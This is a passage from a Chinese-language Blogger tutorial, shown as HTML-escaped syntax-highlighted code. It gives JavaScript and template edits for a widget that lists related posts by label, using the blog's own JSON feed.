255);"&gt;for&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; i &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;; i &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; json.feed.entry.length; i&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;++&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; entry &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; json.feed.entry[i];&lt;br /&gt;relatedTitles[relatedTitlesNum] &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; entry.title.$t;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;for&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; k &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;; k &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; entry.link.length; k&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;++&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) {&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (entry.link[k].rel &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;==&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;alternate&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) {&lt;br /&gt;  relatedUrls[relatedTitlesNum] &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; entry.link[k].href;&lt;br /&gt;  relatedTitlesNum&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;++&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;break&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; removeRelatedDuplicates() {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; tmp &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Array(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; tmp2 &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Array(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;for&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; i &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;; i &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; relatedUrls.length; i&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;++&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) {&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;contains(tmp, relatedUrls[i])) {&lt;br /&gt;  tmp.length &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;+=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;  tmp[tmp.length &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;] &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; relatedUrls[i];&lt;br /&gt;  tmp2.length &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;+=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;  tmp2[tmp2.length &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;] &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; relatedTitles[i];&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;relatedTitles &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; tmp2;&lt;br /&gt;relatedUrls &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; tmp;&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; contains(a, e) {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;for&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; j &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;; j &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; a.length; j&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;++&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (a[j]&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;==&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;e) &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;return&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;true&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;return&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;false&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; printRelatedLabels() {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; r &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Math.floor((relatedTitles.length &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;*&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Math.random());&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; i &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;document.write(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;ul&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;while&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (i &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; relatedTitles.length &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;amp;&amp;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; i &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;20&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) {&lt;br /&gt; document.write(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;li&amp;gt;&amp;lt;a href="&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; relatedUrls[r] &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; relatedTitles[r] &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (r &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; relatedTitles.length &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) {&lt;br /&gt;  r&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;++&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt; } &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;else&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; {&lt;br /&gt;  r &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt; }&lt;br /&gt; i&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;++&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;}&lt;br /&gt;document.write(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;]]&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;script&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　保存后点击“展开窗口小部件代码”。找到 blog1 部件中的下列代码：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:post.labels'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;data:postLabelsLabel&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:loop &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;values&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:post.labels' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='label'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;expr:href&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:label.url' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;rel&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='tag'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;data:label&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.name&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:label.isLast &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;= "true"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:loop&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　一般来说是在 post-footer-line 段下面（不论是行 -1，-2 还是 -3）。更为下面的代码：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:post.labels'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;data:postLabelsLabel&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:loop &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;values&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:post.labels' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='label'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;expr:href&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:label.url' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;rel&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='tag'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;data:label&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.name&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:label.isLast &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;= "true"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-weight: bold;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-weight: bold;"&gt;='data:blog.pageType == &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;"item"'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-weight: bold;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;script &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;expr:src&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-weight: bold;"&gt;='"/feeds/posts/default/-/" &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;+ data:label.name + "?alt&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-weight: bold;"&gt;=json-in-script&amp;amp;amp;callback=related_results_labels&amp;amp;amp;max-results=10"' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-weight: bold;"&gt;='text/javascript'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-weight: bold;"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0); font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0); font-weight: bold;"&gt;b:&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 255); font-weight: bold;"&gt;if&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;b:loop&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;b:&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　粗体字的 3 行就是我添加的代码。;)&lt;br /&gt;　　保存。“模板 -&gt; 界面元素”中添加一个“HTML/Javascript 部件”。我把它放在了文章部件下面。请在上面的代码正常工作的情况下添加这个部件。在部件中粘贴下面的代码：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;script &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="text/javascript"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;&lt;br /&gt;removeRelatedDuplicates();&lt;br /&gt;printRelatedLabels();&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;script&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　现在回到“编辑 HTML”，展开模板代码，找到你刚才添加的“HTML/Javascript 